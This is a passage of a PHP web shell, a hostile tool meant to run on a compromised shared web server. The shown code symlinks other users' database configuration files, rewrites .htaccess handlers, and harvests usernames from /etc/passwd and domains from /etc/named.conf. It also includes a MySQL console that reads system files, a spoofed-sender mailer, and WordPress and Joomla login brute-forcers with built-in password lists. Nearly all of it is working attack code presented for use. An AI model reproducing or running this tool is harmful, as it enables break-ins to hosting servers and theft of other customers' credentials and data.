3122$rs="/homez.57/".$us."/www/".$c;
3123$rs="/homez.58/".$us."/www/".$c;
3124$rs="/homez.59/".$us."/www/".$c;
3125$rs="/homez.60/".$us."/www/".$c;
3126$rs="/homez.61/".$us."/www/".$c;
3127$rs="/homez.62/".$us."/www/".$c;
3128$rs="/homez.63/".$us."/www/".$c;
3129$rs="/homez.64/".$us."/www/".$c;
3130$rs="/homez.65/".$us."/www/".$c;
3131$rs="/homez.66/".$us."/www/".$c;
3132$rs="/homez.67/".$us."/www/".$c;
3133$rs="/homez.68/".$us."/www/".$c;
3134$rs="/homez.69/".$us."/www/".$c;
3135$rs="/homez.70/".$us."/www/".$c;
3136$rs="/homez.71/".$us."/www/".$c;
3137$rs="/homez.72/".$us."/www/".$c;
3138$rs="/homez.73/".$us."/www/".$c;
3139$rs="/homez.74/".$us."/www/".$c;
3140$rs="/homez.75/".$us."/www/".$c;
3141$rs="/homez.76/".$us."/www/".$c;
3142$rs="/homez.77/".$us."/www/".$c;
3143$rs="/homez.78/".$us."/www/".$c;
3144$rs="/homez.79/".$us."/www/".$c;
3145$rs="/homez.80/".$us."/www/".$c;
3146$rs="/homez.81/".$us."/www/".$c;
3147$rs="/homez.82/".$us."/www/".$c;
3148$rs="/homez.83/".$us."/www/".$c;
3149$rs="/homez.84/".$us."/www/".$c;
3150$rs="/homez.85/".$us."/www/".$c;
3151$rs="/homez.86/".$us."/www/".$c;
3152$rs="/homez.87/".$us."/www/".$c;
3153$rs="/homez.88/".$us."/www/".$c;
3154$rs="/homez.89/".$us."/www/".$c;
3155$rs="/homez.100/".$us."/www/".$c;
3156$rs="/homez.101/".$us."/www/".$c;
3157$rs="/homez.102/".$us."/www/".$c;
3158$rs="/homez.103/".$us."/www/".$c;
3159$rs="/homez.104/".$us."/www/".$c;
3160$rs="/homez.105/".$us."/www/".$c;
3161$rs="/homez.106/".$us."/www/".$c;
3162$rs="/homez.107/".$us."/www/".$c;
3163$rs="/homez.108/".$us."/www/".$c;
3164$rs="/homez.109/".$us."/www/".$c;
3165$rs="/homez.110/".$us."/www/".$c;
3166$rs="/homez.111/".$us."/www/".$c;
3167$rs="/homez.112/".$us."/www/".$c;
3168$rs="/homez.113/".$us."/www/".$c;
3169$rs="/homez.114/".$us."/www/".$c;
3170$rs="/homez.115/".$us."/www/".$c;
3171$rs="/homez.116/".$us."/www/".$c;
3172$rs="/homez.117/".$us."/www/".$c;
3173$rs="/homez.118/".$us."/www/".$c;
3174$rs="/homez.119/".$us."/www/".$c;
3175$rs="/homez.120/".$us."/www/".$c;
3176$rs="/homez.121/".$us."/www/".$c;
3177$rs="/homez.122/".$us."/www/".$c;
3178$rs="/homez.123/".$us."/www/".$c;
3179$rs="/homez.124/".$us."/www/".$c;
3180$rs="/homez.125/".$us."/www/".$c;
3181$rs="/homez.126/".$us."/www/".$c;
3182$rs="/homez.127/".$us."/www/".$c;
3183$rs="/homez.128/".$us."/www/".$c;
3184$rs="/homez.129/".$us."/www/".$c;
3185$rs="/homez.130/".$us."/www/".$c;
3186$r="OVH/".$us."~".$c; symlink($rs,$r);
3187}
3188}
3189}
3190?>
3191
3192<?php }
3193// x=litespeed
3194elseif(isset($_GET['x']) && ($_GET['x'] == 'litespeed')){
3195// symlink litespeed-nginx + config killer
3196?>
3197<form action="?dm=<?php echo $pwd; ?>&x=litespeed" method="post">
3198<?php
3199$head = '
3200<html>
3201<head>
3202</script>
3203<title>LITESPEED - APACHE</title>
3204<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
3205<script language=\'javascript\'>
3206function hide_div(id)
3207{
3208 document.getElementById(id).style.display = \'none\';
3209 document.cookie=id+\'=0;\';
3210}
3211function show_div(id)
3212{
3213 document.getElementById(id).style.display = \'block\';
3214 document.cookie=id+\'=1;\';
3215}
3216function change_divst(id)
3217{
3218if (document.getElementById(id).style.display == \'none\')
3219show_div(id);
3220else
3221hide_div(id);
3222}
3223</script>'; ?>
3224<html>
3225<head>
3226<?php echo $head; ?>
3227<body bgcolor=black><center><br/><br/> <img src="http://www.ftt.co.uk/images/nginx.png"><br/><img src="http://www.litespeedtech.com/images/litespeed/Subpage_misc/LSWS_logo.png">
3228<form method=post><br/><br/>
3229<nobr><b><span class='b7'>O=:[ LITESPEED - NGINX</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
3230<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
3231
3232<?php
3233if(isset($_POST['usre'])){
3234?>
3235<form method=post>
3236<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
3237foreach($users as $user)
3238{
3239$str=explode(":",$user);
3240echo $str[0]."\n";
3241}
3242
3243?></textarea><br><br>
3244<input type=submit style=color:#FF0000;background-color:#000000 name=su value="EXECUTE" /></form><br/>
3245<?php } ?>
3246
3247<?php
3248error_reporting(0);
3249if(isset($_POST['su'])){
3250mkdir('litespeed',0777);
3251$rr = "Options +FollowSymlinks \r
3252Options +IncludesNoExec -ExecCGI \r
3253DirectoryIndex index.html index.shtml index.htm index.php \r
3254RemoveHandler .php \r
3255AddType text/html .shtml \r
3256AddType application/octet-stream .php \r
3257AddHandler server-parsed .shtml";
3258$g = fopen('litespeed/.htaccess','w');
3259fwrite($g,$rr);
3260$dm = symlink("/","litespeed/dm.shtml");
3261$rt="<a href=litespeed/dm.shtml><b><span class='b11'>[ SYMLINK ]</span></b></a>";
3262echo "<nobr>[~] ";
3263echo "$rt";
3264
3265$dir=mkdir('LITESPEED',0777);
3266$r = "Options +FollowSymlinks \r
3267Options +IncludesNoExec -ExecCGI \r
3268DirectoryIndex index.html index.shtml index.htm index.php \r
3269RemoveHandler .php \r
3270AddType text/html .shtml \r
3271AddType application/octet-stream .php \r
3272 AddHandler server-parsed .shtml";
3273$f = fopen('LITESPEED/.htaccess','w');
3274fwrite($f,$r);
3275$consym="<a href=LITESPEED/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
3276echo " [~] ";
3277echo "$consym";
3278echo " [~]</nobr>";
3279
3280$usr=explode("\n",$_POST['user']);
3281$configuration=array(
3282"aksi.php",
3283"aksi.php.old",
3284"aksi.php.bak",
3285"conf.php",
3286"conf.php.old",
3287"conf.php.bak",
3288"conf_global.php",
3289"conf_global.php.old",
3290"conf_global.php.bak",
3291"config.php",
3292"config.php.old",
3293"config.php.bak",
3294"configuration.php",
3295"configuration.php.old",
3296"configuration.php.bak",
3297"conn.php",
3298"conn.php.old",
3299"conn.php.bak",
3300"connect.php",
3301"connect.php.old",
3302"connect.php.bak",
3303"connection.php",
3304"connection.php.old",
3305"connection.php.bak",
3306"db.php",
3307"db.php.old",
3308"db.php.bak",
3309"database.php",
3310"database.php.old",
3311"database.php.bak",
3312"inc.php",
3313"inc.php.old",
3314"inc.php.bak",
3315"koneksi.php",
3316"koneksi.php.old",
3317"koneksi.php.bak",
3318"mysql.php",
3319"myqsl.php.old",
3320"mysql.php.bak",
3321"setting.php",
3322"setting.php.old",
3323"setting.php.bak",
3324"Settings.php",
3325"Settings.php.old",
3326"Settings.php.bak",
3327"sql.php",
3328"sql.php.old",
3329"sql.php.bak");
3330foreach($usr as $uss ){
3331$us=trim($uss);
3332foreach($configuration as $c){
3333$rs="/home/".$us."/public_html/".$c;
3334$r="LITESPEED/".$us."~".$c;
3335symlink($rs,$r);
3336}
3337}
3338}
3339?>
3340
3341
3342 <?php }
3343// x=mysql1
3344elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql1')) {
3345
3346if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {
3347$sqlhost = $_GET['sqlhost'];
3348$sqluser = $_GET['sqluser'];
3349$sqlpass = $_GET['sqlpass'];
3350$sqlport = $_GET['sqlport'];
3351if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
3352$msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
3353$msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
3354$msg .= " <span class=\"gaya\">-></span> <a href=\"?dm=".$pwd."&x=mysql&
3355
3356sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3357sqlpass=".$sqlpass."&
3358sqlport=".$sqlport."&\">[ databases ]</a>";
3359 if(isset($_GET['db']))
3360$msg .= " <span class=\"gaya\">-></span>
3361 <a href=\"dm=".$pwd."&x=mysql&
3362sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3363sqlpass=".$sqlpass."&
3364sqlport=".$sqlport."&
3365db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
3366 if(isset($_GET['table']))
3367$msg .= " <span class=\"gaya\">-></span> <a href=\"dm=".$pwd."&x=mysql&
3368sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3369sqlpass=".$sqlpass."&sqlport=".$sqlport."&
3370db=".$_GET['db']."&
3371table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
3372$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
3373$msg .= "</div>";
3374echo $msg;
3375 if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
3376$db = $_GET['db'];
3377$query = "DROP TABLE IF EXISTS dm0_table; \nCREATE TABLE `dm0_table` ( `file` LONGBLOB NOT NULL ); \nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE Z3r0Z3r0_table;SELECT * FROM dm0_table; \nDROP TABLE IF EXISTS dm_table;";
3378
3379$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"><input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3380 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
3381<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3382<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3383<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3384<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3385<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3386<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
3387 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3388 </form>
3389 </div> ";
3390 $tables = array();
3391 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
3392$hasil = @mysql_list_tables($db,$con);
3393while(list($table) = @mysql_fetch_row($hasil)){
3394@array_push($tables,$table);
3395}
3396@sort($tables);
3397foreach($tables as $table){
3398$msg .= "<tr><td><a href=\"?dm=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
3399 }
3400 $msg .= "</table>";
3401 }
3402 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
3403 {
3404 $db = $_GET['db'];
3405 $table = $_GET['table'];
3406 $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
3407 $msgq = "<div style=\"width:99%;padding:0 10px;\">
3408<form action=\"?\" method=\"get\">
3409<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3410<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3411<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3412<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3413<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3414<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3415<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3416<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
3417 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3418<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3419</form></div> ";
3420
3421$columns = array();
3422$msg = "<table class=\"explore\" style=\"width:99%;\">";
3423$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
3424while(list($column) = @mysql_fetch_row($hasil)){
3425$msg .= "<th>$column</th>"; $kolum = $column;
3426}
3427$msg .= "</tr>";
3428$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
3429list($total) = mysql_fetch_row($hasil);
3430
3431if(isset($_GET['z'])) $page = (int) $_GET['z'];
3432else $page = 1;
3433$pagenum = 100;
3434$totpage = ceil($total / $pagenum);
3435$start = (($page - 1) * $pagenum);
3436$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
3437while($datas = @mysql_fetch_assoc($hasil)){
3438$msg .= "<tr>";
3439foreach($datas as $data){ if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; }
3440$msg .= "</tr>";
3441}
3442$msg .= "</table>";
3443$head = "<div style=\"padding:10px 0 0 6px;\"><form action=\"?\" method=\"get\">
3444<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3445<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3446<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3447<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3448<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3449<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3450<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3451<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
3452Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
3453for($i = 1;$i <= $totpage;$i++){
3454$head .= "<option value=\"".$i."\">".$i."</option>";
3455if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
3456}
3457$head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
3458$msg = $msgq.$head.$msg;
3459}
3460 elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
3461$db = $_GET['db'];
3462$query = magicboom($_GET['sqlquery']);
3463$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
3464<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3465<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3466<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3467<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3468<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3469<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3470<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3471<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3472<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p></form></div> ";
3473 @mysql_select_db($db);
3474$querys = explode(";",$query); foreach($querys as $query){
3475if(trim($query) != ""){
3476$hasil = mysql_query($query);
3477
3478if($hasil){
3479$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";
3480<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
3481$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
3482 for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
3483$msg .= "</tr>";
3484 for($i=0;$i<@mysql_num_rows($hasil);$i++) {
3485$rows=@mysql_fetch_array($hasil);
3486$msg .= "<tr>";
3487for($j=0;$j<@mysql_num_fields($hasil);$j++) {
3488 if($rows[$j] == "") $dataz = " ";
3489else $dataz = $rows[$j];
3490$msg .= "<td>".$dataz."</td>";
3491}
3492$msg .= "</tr>";
3493}
3494$msg .= "</table>";
3495}
3496else
3497$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
3498}
3499}
3500}
3501else {
3502$query = "SHOW PROCESSLIST;\n SHOW VARIABLES;\n SHOW STATUS;";
3503$msg = "<div style=\"width:99%;padding:0 10px;\">
3504<form action=\"?\" method=\"get\">
3505<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3506<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3507<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3508<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3509<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3510<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3511<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3512<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3513<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3514</form></div> ";
3515
3516$dbs = array();
3517$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
3518$hasil = @mysql_list_dbs($con);
3519while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); }
3520@sort($dbs);
3521foreach($dbs as $db){
3522$msg .= "<tr><td><a href=\"?dm=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
3523}
3524$msg .= "</table>";
3525}
3526@mysql_close($con);
3527}
3528else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
3529echo $msg;
3530}
3531else{
3532?>
3533<form action="?" method="get">
3534<input type="hidden" name="dm" value="<?php echo $pwd; ?>" />
3535<input type="hidden" name="x" value="mysql" />
3536<table class="tabnet" style="width:300px;">
3537<tr>
3538<th colspan="2">Connect to mySQL server</th>
3539</tr>
3540<tr>
3541<td> Host</td>
3542<td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
3543<tr>
3544<td> Username</td>
3545<td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
3546<tr>
3547<td> Password</td>
3548<td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
3549<tr>
3550<td> Port</td>
3551<td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
3552</tr></table></form>
3553
3554<?php } }
3555elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')) {
3556if(isset($_POST['mail_send'])) {
3557$mail_to = $_POST['mail_to'];
3558$mail_from = $_POST['mail_from'];
3559$mail_subject = $_POST['mail_subject'];
3560$mail_content = magicboom($_POST['mail_content']); if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
3561{ $msg = "email sent to $mail_to"; }
3562else $msg = "send email failed";
3563}
3564?>
3565<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
3566<table class="cmdbox"> <tr>
3567<td><textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea></td></tr>
3568<tr>
3569<td> <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" /> mail to</td></tr>
3570<tr><td> <input class="inputz" style="width:20%;" type="text" value="gue@ganteng.com" name="mail_from" /> from</td></tr>
3571<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
3572<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr>
3573<tr><td> <?php echo $msg; ?>
3574</td></tr>
3575</table> </form>
3576
3577
3578<?php }
3579#x=jumping
3580elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')) { ?>
3581
3582<form action="?dm=<?php echo $pwd; ?>&x=jumping" method="post">
3583
3584<?php
3585($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<center><br/><br/><nobr><span class=b9>SAFE MODE ON</span></nobr><br/><br/></center> ');
3586set_time_limit(0);
3587@$passwd = fopen('/etc/passwd-','r');
3588if (!$passwd) {
3589die('<center><br/><br/><nobr><span class=b9>READ ETC/PASSWD- NOT AVAILABLE</span></nobr><br/><br/></center>');
3590}
3591$pub = array();
3592$users = array();
3593$conf = array();
3594$i = 0;
3595while(!feof($passwd)) {
3596$str = fgets($passwd);
3597if ($i > 10) {
3598$pos = strpos($str,':');
3599$username = substr($str,0,$pos);
3600$dirz = '/home/'.$username.'/public_html/';
3601if (($username != '')) {
3602if (is_readable($dirz)) {
3603array_push($users,$username);
3604array_push($pub,$dirz);
3605}
3606}
3607}
3608$i++;
3609}
3610echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ READABLE</span> <span class='b8'>PUBLIC_HTML ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='200' cellspacing='0' cellpadding='0'>
3611<tr><th><b>TOTAL : ".sizeof($pub)." TARGET VICTIM"."</th></tr>";
3612foreach ($users as $user) {
3613$path = "/home/$user/public_html/";
3614echo "<tr>";
3615echo "<td><a href='?dm=$path' target='_blank' style='font-weight:bold; color:#FFFFFF;'>$path</td>";
3616}
3617echo "</tr>";
3618echo "</table></center></body></html>";
3619}
3620
3621# x=domain
3622elseif(isset($_GET['x']) && ($_GET['x'] == 'domain')) { ?>
3623<form action="?dm=<?php echo $pwd; ?>&x=domain" method="post">
3624
3625<?php
3626echo '<br><br></center><br><br><div class=content>';
3627$file = @implode(@file("/etc/named.conf"));
3628if(!$file){ die("can't ReaD -> [ /etc/named.conf ");
3629}
3630preg_match_all("#named/(.*?).db#",$file ,$r);
3631$domains = array_unique($r[1]);
3632//check();
3633//if(isset($_GET['ShowAll']))
3634{
3635echo "<table align=center border=1 width=59% cellpadding=5>
3636<tr><td colspan=2>[+] ADA [ <b>".count($domains)."</b> ] DOMAIN</td></tr>
3637<tr><td>Domain</td><td>User</td></tr>";
3638foreach($domains as $domain){
3639$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
3640echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
3641}
3642echo "</table>";
3643}
3644echo '</div>';
3645}
3646
3647
3648# x=crypter
3649elseif(isset($_GET['x']) && ($_GET['x'] == 'crypter')) {
3650$submit= $_POST['enter'];
3651$pass = $_POST['password'];
3652
3653if(isset($submit)) {
3654$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
3655$hash = md5($pass);
3656$hash_md5 = md5($salt.$pass);
3657$hash_md5_double = md5(sha1($salt.$pass));
3658$hash1 = sha1($pass);
3659$hash1_sha1 = sha1($salt.$pass);
3660$hash1_sha1_double = sha1(md5($salt.$pass));
3661}
3662echo '<form action="" method="post"><b><table class=tabnet>';
3663echo '<tr><th colspan="2">Password Hash</th></center></tr>';
3664echo '<tr><td><b>Masukan Kata : </b></td>';
3665echo '<td><input class="inputz" type="text" name="password" size="40" />';
3666echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
3667echo '</td></tr><br>';
3668echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
3669echo '<tr><td>Original</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
3670echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
3671echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
3672echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
3673echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
3674echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
3675echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
3676}
3677
3678
3679# x=wp1
3680elseif(isset($_GET['x']) && ($_GET['x'] == 'wp1')) { ?>
3681<form action="?dm=<?php echo $pwd; ?>&x=wp1" method="post">
3682
3683<center><br/><br/>
3684<form enctype="multipart/form-data" method="POST">
3685<table width='624' border='0' class='tabnet' id='Box'>
3686<tr><th colspan="5">Wordpress Brute Force</th></tr>
3687<tr><td > </td>
3688<td><p>Hosts:</p></td>
3689<td><p>Users:</p></td>
3690<td><p>Passwords:</p></td></tr>
3691<tr><td> </td>
3692<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
3693<td><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
3694<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" >
3695
3696<?php if($_POST){echo$_POST['passwords'];}else {echo"admin\nadministrator\nadmin123\nqwerty\n123qwerty\nqwerty12345\n123admin\12345admin\nqwe123rty\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";}?></textarea></td></tr>
3697<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
3698<?php
3699if($_POST){
3700$hosts = trim(filter($_POST['hosts']));
3701$passwords = trim(filter($_POST['passwords']));
3702$usernames = trim(filter($_POST['usernames']));
3703
3704if($passwords && $usernames && $hosts)
3705{
3706$hosts_explode = explode("\n", $hosts);
3707$usernames_explode = explode("\n", $usernames);
3708$passwords_explode = explode("\n", $passwords);
3709
3710foreach($hosts_explode as $host)
3711{
3712$host = RemoveLastSlash($host);
3713$hacked = 0;
3714$host = str_replace(array("http://","https://","www."),"",trim($host));
3715$host = "http://".$host;
3716$wpAdmin = $host.'/wp-admin/';
3717
3718if(!url_exists($host."/wp-login.php"))
3719{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";
3720ob_flush();
3721flush();
3722continue;
3723}
3724foreach($usernames_explode as $username)
3725{
3726foreach($passwords_explode as $password)
3727{
3728$ch = curl_init();
3729curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3730curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
3731curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
3732curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
3733curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
3734curl_setopt($ch,CURLOPT_POST,TRUE);
3735curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
3736$login =curl_exec($ch);
3737
3738if(eregi("profile.php",$login)) {
3739$hacked = 1;
3740echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
3741ob_flush();
3742flush();
3743break;
3744}
3745}
3746if($hacked == 1){break;}
3747}
3748if($hacked == 0)
3749{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
3750}
3751}
3752else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
3753}
3754?>
3755</td></tr>
3756</table></form></center>
3757<?php
3758function url_exists($strURL) {
3759$resURL = curl_init();
3760curl_setopt($resURL, CURLOPT_URL, $strURL);
3761curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
3762curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
3763curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
3764curl_exec ($resURL);
3765
3766$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
3767curl_close ($resURL);
3768
3769if ($intReturnCode != 200){return false;} else {return true ;}
3770}
3771function filter($string)
3772{
3773 if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
3774 else{return $string; }
3775}
3776function RemoveLastSlash($host)
3777{
3778 if(strrpos($host, '/', -1) == strlen($host)-1)
3779 {return substr($host,0,strrpos($host, '/', -1));}
3780 else{return $host;}
3781}
3782echo "</p>";
3783}
3784
3785# x=jm1
3786elseif(isset($_GET['x']) && ($_GET['x'] == 'jm1')) { ?>
3787<form action="?dm=<?php echo $pwd; ?>&x=jm1" method="post">
3788<center><br /><br />
3789<form method="post" action="" enctype="multipart/form-data">
3790<table class="tabnet" width="38%" border="0"><center>
3791<th colspan="2">Joomla Brute Force</th>
3792<tr>
3793<td><p ><font class="d1">User :</font></th>
3794<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
3795</td></tr>
3796<tr><td><font class="">Sites list :</font>
3797</td><td><font class="" >Pass list :</font></td></tr>
3798<tr><td>
3799<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
3800</td><td>
3801<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
3802admin
3803123qwe456rty
3804qwerty
3805fuck
3806administrator
3807passjomla
3808adminpass
3809123456
3810password
3811102030
3812123123
381312345
3814123456789
3815pass
3816test
3817admin123
3818demo
3819!@#$%^</textarea>
3820</td></tr><center><tr><td>
3821<font >
3822<input class="inputzbut" type="submit" name="x" value=" >> " id="d4">
3823</font></td></tr><br><br></center></table>
3824</form></center>
3825<?
3826@set_time_limit(0);
3827
